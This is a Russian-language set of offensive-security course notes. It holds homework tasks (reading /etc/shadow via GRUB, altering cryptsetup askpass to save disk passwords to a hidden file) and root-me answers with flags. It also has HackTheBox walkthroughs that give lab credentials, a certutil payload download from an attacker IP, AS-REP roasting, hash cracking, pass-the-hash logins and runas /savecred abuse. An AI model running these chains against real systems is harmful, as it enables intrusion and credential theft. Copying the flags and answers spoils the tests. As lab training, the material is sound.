# ДЗ croos platform
**доп конспекты**
https://odeenhacimocom-my.sharepoint.com/personal/dubonmax_odeenhacimo_com/_layouts/15/Doc.aspx?sourcedoc={2dc36741-df1e-4856-810f-06e90b2ad0b1}&action=view&wd=target%28CYB-1%20Module%202%20AD.one%7C3db745d2-4dcd-4aaa-828f-19efe58c56f3%2Fwmic%7C0272bb49-55de-4de7-a7bd-9b4a0bd6c094%2F%29
Домашнее задание и дополнительные материалы
Обязательная часть:
Прочесть содержимое файла /etc/shadow с помощью grub, а затем сбросить пароль суперпользователя.
По желанию:
Зарегистрировать аккаунт на root-me.org
Скрипты на интерпретируемых языках программирования (bash, python и т.д.) выполняются от имени текущего пользователя даже если на них установлен SUID bit. Предложите способ обойти это ограничение без использования sudo.
Изменить код программы askpass из набора утилит cryptsetup так, чтобы она сохраняла пароль на жестком диске, например, в файле /boot/grub/.captured_pass. Чтобы получить её исходный код можно использовать команду: apt source cryptsetup
Уберите права на исполнения у ELF-файла, например, /bin/chmod:
$ chmod -x /bin/chmod
Выполнить его напрямую теперь нельзя:
/bin/chmod: Permission denied
Тем не менее, его все равно можно запустить не изменяя установленные на файл права. Каким способом можно это сделать, как именно он работает?
Вопросы по заданиям отправлять на почту: y.shmelyov@hackeru.com или в Telegram.
Дополнительные материалы:
Руководство по GRUB: https://wiki.archlinux.org/index.php/GRUB
Средство аудита прошивки UEFI: https://github.com/chipsec/chipsec
Настройка SecureBoot в Linux: https://habr.com/ru/post/308032/
Уязвимость GRUB: http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
Уязвимость initrd: http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html
Идентификаторы пользователей: https://intelligea.wordpress.com/2014/02/11/effective-user-id-and-group-id-vs-real-user-id-and-group-id/
Руководство по hashcat: https://hashcat.net/wiki/
Мануал по capabilities: https://man7.org/linux/man-pages/man7/capabilities.7.html
Мануал по chattr: https://linux.die.net/man/1/chattr
___________
cat /etc/shadow

сброс пароля суперпользователя
rw init=/bin/bash
passwd

_____
Домашнее задание и дополнительные материалы
Обязательная часть:
Прорешать задания с платформы root-me, получить флаги и написать writeup-ы.
https://www.root-me.org/en/Challenges/App-Script/ELF32-System-1
https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration
https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2
https://www.root-me.org/en/Challenges/App-Script/Bash-cron
Дополнительная часть:
повысить свои права до пользователя root используя уязвимости конфигурации sudo
Выполнить анализ Linux-системы на машине Basic Exploitation по инструкции из презентации и загрузить на неё скрипты для автоматического анализа защищенности по ссылкам из слайдов.
По желанию:
https://www.root-me.org/en/Challenges/Realist/Ultra-Upload
https://www.root-me.org/en/Challenges/App-Script/Shared-Objects-hijacking
https://www.root-me.org/en/Challenges/App-Script/SSH-Agent-Hijacking
https://www.root-me.org/en/Challenges/App-Script/Bash-Restricted-shells
https://www.root-me.org/en/Challenges/Realist/Bash-Awk-netstat-parsing
Несколько актуальных уязвимостей для тренировки:
https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt
https://blog.qualys.com/laws-of-vulnerabilities/2020/01/29/openbsd-opensmtpd-remote-code-execution-vulnerability-cve-2020-7247
https://www.mike-gualtieri.com/posts/finding-a-decade-old-flaw-in-gnu-mailutils
https://github.com/bcoles/local-exploits
https://github.com/guywhataguy/CVE-2019-12181
Материалы для ознакомления:
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/luke-goddard/enumy/releases
https://cisofy.com/lynis/
https://crontab.guru/
https://www.exploit-db.com/exploits/39549
https://www.exploit-db.com/exploits/39535
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
https://www.exploit-db.com/exploits/40616
https://www.exploit-db.com/exploits/40839
https://www.gnu.org/software/tar/manual/html_section/tar_26.html
https://www.vulnhub.com/
https://www.hackthebox.eu/
https://www.root-me.org/en/Capture-The-Flag/
https://www.offensive-security.com/labs/
https://medium.com/tenable-techblog/tp-link-takeover-with-a-flash-drive-d493666f6b39
https://gtfobins.github.io/
Урок первый. Никогда не используйте C-shell для SUID-скриптов
Урок второй. Всегда вручную устанавливайте PATH и используйте абсолютные пути.
Урок третий. Поймите, как работают программы в вашем сценарии.
**Bash - System 1** https://www.root-me.org/ru/Zadachi-i-problemy/App-Scenarij/Bash-System-1?action_solution=voir#ancre_solution
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("ls /challenge/app-script/ch11/.passwd");
return 0;
}

!oPe96a/.s8d5
2 вариант выполнения этого задания

**sudo - weak configuration**
https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration

b3_c4r3ful_w1th_sud0
**Bash - System2**
https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2


8a95eDS/*e_T#
**Bash - cron**
https://www.root-me.org/en/Challenges/App-Script/Bash-cron
```
#!/bin/bash
# Sortie de la commande 'crontab -l' exécutée en tant que app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# Vous N'avez PAS à modifier la crontab(chattr +i t'façons)
# Output of the command 'crontab -l' run as app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# You do NOT need to edit the crontab (it's chattr +i anyway)
# hiding stdout/stderr
exec 1>/dev/null 2>&1
wdir="cron.d/"
# переходит в каталог ~/
challdir=${0%/*}
cd "$challdir"
# проверка на наличие каталога, если его нет - создаем и даём права
if [ ! -e "/tmp/._cron" ]; then
mkdir -m 733 "/tmp/._cron"
fi
# каждый файл в директории 'cron.d/'
ls -1a "${wdir}" | while read task; do
#проверяем на сущетвование и возможность запуска
#-f exits and regular
#-a &&
#-x runnable
if [ -f "${wdir}${task}" -a -x "${wdir}${task}" ]; then
#если проверка успешна запускаем файл с ограничением времени работы - 5 сек
timelimit -q -s9 -S9 -t 5 bash -p "${PWD}/${wdir}${task}"
fi
#удаляем запущенный файл
rm -f "${PWD}/${wdir}${task}"
done
#отчищаем каталог 'cron.d/'
rm -rf cron.d/*
```

Vys3OS3iStUapDj
https://github.com/Vinnyz/Root-me-challenge-App-Script/blob/master/Bash%20-%20cron
В комментариях к скрипту указано, что, согласно правилу crontab, он выполняется каждую минуту пользователем app-script-ch4-cracked.
Этот скрипт, среди прочего, будет выполнять команды с правами app-script-ch4-cracked, указанными в папке cron.d/.
Поскольку мы очень ленивы и не хотим перемещаться вокруг /tmp, мы попросим app-script-ch4-cracked показать нам содержимое .passwd прямо на нашем терминале.
Мы начинаем с определения номера терминала: set | grep /dev/pts -> предположим, что наш терминал /dev/pts/n;
На ней разрешено писать группа "другие": chmod o+w /dev/pts/n;
На пишет наш маленький скрипт в cron.d: vim cron.d/script.sh:
#! /Bin/bash
/Bin/cat /challenge/app-script/ch4/.passwd > /dev/pts/n
Право выполнения и чтения ("$задача скрипта ch4, требующая чтения содержимого сценария) предоставляется группе "другие" -> chmod o+rx cron.d/script.sh;
Мы немного ждем, и флаг появится на нашем терминале :-)) .
______________________
**Прописываем пути посика переменной PATH**
откройте ./bashrc в любом редакторе, затем напишите в конце файла
PATH="$PATH:/usr/bin:/bin"
или вы можете добавить как можно больше путей, добавляя к нему ":путь", а затем обновить его
source ./bashrc
https://book.hacktricks.xyz/linux-unix/privilege-escalation



https://zerodium.com/program.html

Подключаемся к машине binary expl
__________________________
На самостоятельный разбор: HackTheBox - Access (<- Это название тачки)
первоначальный доступ:
telnet 10.10.10.98
Логин: security
Пароль: 4Cc3ssC0ntr0lle
**Сommando VM -kali для виндовс**
dir /b
Наша задача загрузить winpeas на машину
1. Поднимаем сервер python3 -m http.server 80
2. Загружаем на виндовс Винпис
certutil.exe -urlcache -split -f http://10.10.14.8/winPEASany.exe winPEASany.exe
**cmdkey /list** смотрим какие учетные данные на компе , если учетные данные сохранены на компе, то сможем использовать для входа
в итоге через Runas
https://winitpro.ru/index.php/2018/01/15/runas-sposoby-zapustit-programmu-ot-imeni-drugogo-polzovatelya/
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
**Credentials manager / Windows vault**
Хранилище Windows хранит учетные данные пользователя для серверов, веб-сайтов и других программ, в которые Windows может автоматически входить в систему. Во-первых, это может выглядеть так, как будто теперь пользователи могут хранить свои учетные данные Facebook, учетные данные Twitter, учетные данные Gmail и т. д., чтобы автоматически входить в систему через браузеры. Но это не так.
Windows Vault хранит учетные данные, которые Windows может автоматически вводить пользователей, что означает, что любое приложение Windows, которому нужны учетные данные для доступа к ресурсу (серверу или веб-сайту), может использовать этот диспетчер учетных данных и Windows Vault и использовать предоставленные учетные данные вместо того, чтобы пользователи постоянно вводить имя пользователя и пароль.
Если приложения не взаимодействуют с Credential Manager, я не думаю, что они могут использовать учетные данные для данного ресурса. Таким образом, если ваше приложение хочет использовать хранилище, оно должно каким-то образом связаться с диспетчером учетных данных и запросить учетные данные для этого ресурса из хранилища по умолчанию.
Используйте ключ команд, чтобы перечислить сохраненные учетные данные на компьютере.
сmdkey /list
```
C:\Users\Public>cd Desktop
C:\Users\Public\Desktop>runas /user:Access\Administrator /savecred "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\flag.txt"
C:\Users\Public\Desktop>cd ..
C:\Users\Public>cd ..
C:\Users>cd security
C:\Users\security>cd Desktop
C:\Users\security\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 8164-DB5F
Directory of C:\Users\security\Desktop
03/27/2022 07:38 PM <DIR> .
03/27/2022 07:38 PM <DIR> ..
03/27/2022 07:38 PM 32 flag.txt
03/27/2022 07:30 PM 0 root2.txt
03/27/2022 06:59 PM 32 roothash.txt
08/21/2018 11:37 PM 32 user.txt
4 File(s) 96 bytes
2 Dir(s) 5,387,714,560 bytes free
C:\Users\security\Desktop>type flag.txt
6e1586cc7ab230a8d297e8f933d904cf
C:\Users\security\Desktop>
```

Hack the box **Sauna**
1. nmap -sC -sV -oA Sauna 10.10.10.175

2. Вошли на сайт по 80 порту, видим имена команды (будем использовать для входа)

3. На 389 порту висит ldap, сканим скриптом , для поиска подробной информации
nmap --script "ldap*" -p389 10.10.10.175


Нашли совпадение имен Hugo (он бы на сайте тоже), а также доменное имя EGOTISTICAL-BANK.LOCAL
После перечисления портов мы обнаружили, что можем сделать обжарку Kerberos, если предварительная аутентификация отключена.
Kerberos - это протокол, который используется для сетевой аутентификации. Мы будем использовать скрипт "GetNPusers.py" из "Impacket", чтобы проверить, есть ли учетные записи в домене, где предварительная аутентификация Kerberos отключена.
Эта атака известна как **AS-REP Roasting**. Пользователю не нужно давать пароль, чтобы получить билет Kerberos, для этого нам нужны имена пользователей, поэтому порт 80 был открыт, поэтому мы зарегистрировались в браузере, чтобы получить имена пользователей.
4. Создаем вордлист на основе имен сайта

5. python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile /root/htb/sauna/user1.txt -outputfile /root/htb/sauna/hash.txt -dc-ip 10.10.10.175 -debug
скормили скрипту файл с юзерами и получили хэш юзера

6. sudo john --wordlist=/usr/share/wordlists/rockyou.txt /root/htb/sauna/hash.txt

7. evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
8. подняли сервер на пайтоне python3 -m http.server 80
9. *Evil-WinRM* PS C:\Users\FSmith\Documents> upload /root/winPEASx64.exe
загружаем винпис на винду
9. ./winPEASx64.exe - запускаем винпис
10. Нашли креды автологона
11. evil-winrm -i 10.10.10.175 -u "svc_loanmgr" -p "Moneymakestheworldgoround\!"

evil-winrm -i 10.10.10.175 -u Administrator -H d9485863c1e9e05851aa40cbb4ab9dff
```
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager -> svc_loanmgr
DefaultPassword : Moneymakestheworldgoround!
```

Если не знаю как скомбинировать имя и фамилию - скармливаю скрипту на пайтоне имя и фамилию и он генерит
**ntpdate** - синхронизация времени, особенно при атаках на керберос
https://ippsec.rocks/?# - сайт для помощи в прохождении hack the box